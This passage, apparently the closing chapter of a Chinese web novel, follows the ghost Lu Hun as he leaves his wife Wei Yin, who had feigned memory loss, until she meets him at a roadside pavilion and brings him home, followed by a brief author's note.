陆魂小心劝,“姐姐要出门,等天气暖和一些,我带姐姐去。” 魏姻仍旧不肯,没办法,最后在纪嘉玉的建议下,让陆魂也跟着一起去。 花灯晚上,三人一起出了门,魏姻心情很好地拉着纪嘉玉到处看灯,陆魂天生不善言词,魏姻不主动跟他搭话,他也不知该说些什么好,便安静地跟在两人身后走着。 倒弄得纪嘉玉有些不太好意思了,几次想让陆魂说话,但陆魂说完,又立刻沉默住了。 魏姻并不管他,只顾得和纪嘉玉说话,陆魂看他们两个聊得很好,越发默不作声了,脸色也变得越来越低沉了些。 纪嘉玉自然感觉到了,见魏姻一脸不知所以,他只感到头皮一阵发麻,总算是看完了灯,将魏姻送回文家老宅后,他赶紧跑了,生怕魏姻还要叫他。 当晚,魏姻来家,陆魂和往常一样,将刚熬好的药端来,这晚,少年神色闷闷的,见着魏姻也不笑了,只一昧将头低着,也不看魏姻。 魏姻奇怪看他一眼,和之前一样,伸手接,“我自己喝吧。” “姐姐别动。”陆魂难得开口了,语气听起来闷得很,“我喂姐姐喝。” 魏姻再要拒绝,少年脸色变得生硬起来,将药碗死死端着,不肯给她。 魏姻被这个向来脾气好的少年震住了,没再说话,张口,让他喂。 不过他面色看起来虽不太好,可喂药还是很柔和的,都会仔细将药吹冷些才递到她嘴里。 魏姻一口一口吞着,少年喂来的药汁。 喂完药后,陆魂将她被褥掖好,走了出去,从始至终,没说过半句话。 陆魂刚出房门,碰上了魏父,魏父问他,“姻儿想起来什么没有?” 陆魂摇头。 “今晚她当真让纪嘉玉陪她去外头看花灯了?”魏父问。 陆魂点头。 魏父若有所思地道:“这不对呀,姻儿以前虽和这小子相识,但都是这小子有那意思,她是对他一向没什么心思的,怎么这突然就和他走近了呢,不会是,她没了记忆后,突然又看上了这小子吧?” 陆魂猝不及防抬起头,他当即反驳,“姐姐不会这样的,她已经和我成了亲的,怎么会又喜欢上别的人……” “那是以前,她现在把你忘得干干净净,哪里还记得成婚不成婚的。”魏父摇摇头,“我看啊,她说不定真对纪嘉玉有点苗头,你可得小心看着点。” 陆魂一下子被魏父的话说得心中勃然大乱…… 连魏父什么时候走了都不知道,僵僵坐了下去。 姐姐怎么能这样? 才几天时间而已。 她怎么就能把他们之间的感情都忘了呢。 她现在对纪嘉玉有意思了? 不,不行。 陆魂捏了捏手心,他好不容易才博得一条命活下来的,他好不容易才和姐姐成婚的,好不容易才让姐姐喜欢他的,怎么能让她和纪嘉玉在一起呢? 陆魂怎么想怎么都不甘心。 回头,见房里的灯还亮着,陆魂迟疑一下,还是推门进去了,魏姻刚脱了衣裙,只穿件单薄的寝衣,素钗粉脸地坐在床边,看见陆魂突兀推门进来,她惊了惊,不高兴地朝他道:“陆公子?你怎么这么晚了闯到我房里,快出去。” 陆魂自然也看见了,他本来下意识要听她的话转身的,可忽然想起,他已经是她有名有实的郎君了,为什么还要出去? 他偏不出去。 魏姻见他这个模样,要去拿衣裙来穿。 陆魂拦住了她的手,“姐姐,不许穿。” 魏姻盯着他,片刻才怒道:“你这是做什么?!什么意思?你这少年人,怎的如此不知脸面,这样跑到我房里来,还拦着我穿衣,实在可恶!” 可魏姻再怎么恼怒,陆魂也不肯松手,他用力抿住唇,满含委屈开口:“我和姐姐已经成婚了,我是姐姐的郎君,我为何不能到姐姐房里,我就不许姐姐穿!”《 》 【全文完结】 第94章 房间里安静了好一会儿时间,魏姻只睁着眼睛,一句话不说地望向陆魂,跟着,她忽然笑出了声,“你这少年人,好生无礼,你是纪嘉玉的朋友,我与你素不相识,怎么会是我的夫君呢?你莫要纠缠了,快回去歇了吧。” 陆魂充耳不闻,紧紧攥着魏姻的袖子,委屈得眼睛直发红,不肯松开手。 魏姻瞪住他,去辦袖子。 少年虽瘦弱,力气很大,她完全夺不过来,僵持了这么久,又穿得单薄,魏姻还没好的身体,用力咳嗽起来,陆魂这才连忙放手,扶住她的手,将她扶回床榻去。 陆魂拿下一件披风,披在她身上。 他蹲在地上,不敢握她的手,只得轻轻扯住她一点衣袖,仰头道:“姐姐,我们确实成婚了,我不敢欺骗姐姐。” 魏姻止住了咳,问:“你说我与你成婚了,为何我连自己的夫君都不记得?” 陆魂呃住了,无法回答。 “好了,快回去吧。”魏姻将袖子扯了回来,“你再如此无礼,胡言乱语的话,我就告诉父亲了。” 魏姻身体一直很好,极少生病的,但这次晚上看了花灯,让风给吹着了,魏姻再次病倒,而且比之前更严重了,连连发了两日的烧,陆魂顾不得再跟她说成婚的事。 魏父来看女儿,看着烧得面皮通红,整日睡得昏昏沉沉的魏姻,很是担忧:“姻儿这几日是怎么了,身子变弱得很,之前的风寒,十天半个月了都还在断断续续咳个不停,如今一点风吹竟就又病了。” 这话让陆魂心里忽然变得很不安起来。 人鬼殊途。 他是鬼身,那天,他与魏姻在贺家祖坟宅子里同了房,就一直隐隐有些担忧,可那个时候想着要消失了,他舍不得,更何况,只有那一次,不会有什么。 但陆魂没走成,又整日守在她的身边,身上鬼气阴气自然缠了她。 他忍不住想,兴许,魏姻不记得他也好,反正,人鬼终究是没法在一起的。 魏父见他神情低落,便劝慰道:“你也不用太着急了,等时间一久,她兴许就什么都想起来了。” 陆魂心不在焉地点点头。 后面魏姻退热醒过来后,陆魂便刻意克制着,没有再往她房里去,吃药用饭,他都请魏父去。 这之后,魏姻果然好得快了些,除了因为久病身体还有点虚弱外,连咳嗽都少了许多。 一日,魏父为她端药来,魏姻扫身边一圈,忽然间疑惑地问魏父,“阿爹,陆公子呢?怎么这几日没见他身影。” 魏父沉默了下,才回。 从魏姻那回去,魏父还没走到门口,就见门外远远地立着一个身量高x高的瘦少年,破军那把剑跟在他身后飞来飞去,少年则低头沉思着什么,像是在专门等着他。 魏父讶异出声,“陆魂,你在我这做什么。” “魏大人。”陆魂依旧和往常那样喊着。 魏父看出了他有话要说,让他进去,还没等陆魂开口,魏父先出声了,“你来得正好,方才姻儿还跟我问起你来呢,看来她心里还是记挂着你的,你待会去看看她吧。” 陆魂却摇头,“魏大人,我就不去了——” 魏父以为自己听错了,“你说什么?” “魏大人,之前我曾答应过你,等所有事情尘埃落定了,我就会离开这里,离开姐姐。”陆魂用力吸了一口气,似乎有点难以再开口,但他还是将话说出来了,“我与姐姐,人鬼殊途,若是一再待在她的身边,她的身子会越来越多病,姐姐如今既然已经不记得我了,我走了也好。” 要不是他重新提起,魏父几乎将那事给忘了,他又诧异起来,“可你们如今都成了亲,她以后要是记起来了,岂不是……” “她不会记起来的。”陆魂斩钉截铁道:“这些日子,是我耽误了姐姐,我走后,还请魏大人给姐姐另外挑个好的郎君吧,若是姐姐当真喜欢纪公子,那也不妨事的,只要姐姐此生能过得好,我怎么样都可以。” 魏父听了只在心里叹息不已,他忍不住问:“那你要去哪?我听说你的父母亲人早就不在了,你一个孤鬼要去哪?” 陆魂笑着摇摇头。 魏父迟疑了一下,“那你可要去再见她一面,再走?” 陆再次摇头,他不敢去,怕再见一面,又舍不得了。 魏父叹口气,“行吧,你去吧,我到时候会跟她说一声的,若是她以后记起来了,我会告诉她的,陆家孩子,之前你差点祭剑了,好不容易捡回来一条命,可想不到,她却又忘了,你们今生大约真的是有缘无分,哎,一路保重吧。” 陆魂抱着剑走出去,魏父亲自将他送出门去。 陆魂没有穿魏姻给他准备的那些衣物,仍旧和来时一样,一身清贫的布衣长衫,戴着方巾,长至腰下的飘带在夜风中凌乱又孤寂地抽动着,少年单薄的身姿让夜风吹得似乎要站不住了,锈剑在他的手中逐渐化成一把青色竹骨伞,伞面将他苍白的面容遮住大半,正和当初出现在河庄时一模一样,此刻,又跟来时那样,渐渐从魏父面前消失了。 魏父悲悯的目光盯着这个乖巧、却身世凄惨、一生坎坷的少年背影看了许久,最终,还是狠下心肠,将大门给合上了。 嘎吱嘎吱的门声,仿佛是佛前的阖眼悲叹。 陆魂在迈出文家老宅的那一刻,脑子里变得空荡荡,什么都没有了,他不记得自己走了多久,也不知道自己走到了哪里,只是下意识地沿着山道的路往前走。 破军也许是察觉到了主人的情绪,不像平常那样乱动了,安静躺在他的手上,任由他撑着。 远远的,陆魂看到眼前出现了一座旧亭,他忽然没了力气一般,一步一步僵着往旧亭挪去,刚走上台阶,他终于松开了伞,任由其掉在地上,他再也忍受不住内心的悲恸,坐了下去,将头埋进了膝盖里。 幼时,他被叫做陆魂这么一个不吉的名字,他不怨。 陆明礼的厌恶,他也不怨。 贺夫人一点不在意他这个儿子,他亦没有怨过。 可在这一刻,陆魂突然有些怨气了,怨他为什么是贺夫人生的,怨他为什么要生在陆家。 怨他明明都死了,为何还要让他化成鬼? 他若是一个正常的人,就能去做自己想做的事了,娶喜欢的姑娘了。 陆魂死死地咬住唇,克制着自己回到文家老宅,去见魏姻的念头,他拼命忍着,即使忍得全身都在发抖。 少年完全沉浸在了自己的世界里,没有注意到旧亭里还坐着一个身影,那人默不作声地看了他蹲在地上的背影好久,直到见他全身发起抖来了,才款款起身,来到了他的身后。 “不是要走了么,怎么还一个鬼偷偷蹲在这哭呢,让人看了要笑的。” 这声音,让埋头忍泪的少年瞬间脊梁一麻。 原来坐在旧亭子里的人不是别人,正是魏姻,她模样虽憔悴,但略微上了点妆粉,鬓间重新插上了那只槐花银簪子。 魏姻见少年埋着头,她笑了笑,“小陆魂,到姐姐这来。” 陆魂终于抬头了,这才发现,他的眼睛通红得厉害,里头全是阴郁和悲伤,他睁着眼眸,不敢相信地紧紧黏着她的脸看。 魏姻看到少年这副模样,叹了口气,朝他伸出手,“过来,姐姐抱陆魂。” 陆魂也顾不得疑惑,径自搂住了她的腰,将脸埋到她的颈窝里,但身子因为激动,还一伏一伏的。 魏姻拍着少年僵硬背脊,柔声哄着,“姐姐在这呢,陆魂不难受了。” 陆魂不曾言语,眼睛猩红地按住她的脖颈,朝她唇上亲了过去,他很激动,将魏姻整个人几乎都压在了台阶上,魏姻没阻止他,微微仰起脖颈,尽力配合他的亲吻,一边,不断用手安抚似地轻抚他的后背。 他缠着她的舌,缠够了,这才气喘吁吁地松开。 “姐姐,你记起来了?” “傻子。” 魏姻搂住他的脖子,笑了两声,陆魂不解地盯着她发笑,而后,魏姻才从颈子上拽出了那块宝玉,“你忘了么,有它在,你没那么容易抹去姐姐的记忆。” 陆魂愣住,“姐姐根本没有忘记陆魂?” 魏姻点点头,“你不是要姐姐忘了你么,姐姐就试试。” 陆魂眼又红了,连忙抱了她一下,“我后悔了,姐姐,我不要姐姐忘了我,我不要了,我要姐姐一直记得我,我要姐姐喜欢我。” 少年单薄又清瘦,话语凄凉又可怜。 魏姻怜悯地抚摸少年瘦弱颤抖的肩膀,她拉着他起身,从旧亭的石桌上,拿起一件包袱,将那件黑色的大氅从里头拿了出来,给少年仔细穿上。 少年满眼都是她,舍不得挪开半下,可他忽然想起什么,脸色又变得煞白起来,连忙往后避了避,不敢让魏姻碰他,魏姻看出了他心里的顾虑,什么话也没说,主动握住了少年的手。 “郎君。”她轻轻说:“姐姐的小郎君,姐姐带你回家。” 陆魂的所有顾虑因着这一声郎君,一下子消散不见,任由面前的妇人牵着他往文家老宅方向走去。 荒州的第一场雪,在今夜纷纷扬扬地飘了起来,落在两人身上,陆魂将破军化成一把青伞,遮在他和魏姻的头上,这一次,少年不再似从前在学堂里那样,总是小心翼翼跟在她的身后远远望着她,而是与她并肩走在回家的雪路上,只见着,文家老宅内灯火通明,早已提前准备了一桌酒菜,魏父则独自提着灯笼,站在门口,迎着女儿女婿回家吃饭。 —完——— 作者有话说:写下这最后几个字,这本文到这里就完结啦,后面会写一点点婚后小番外,明年年初大概就会写下一本了《 》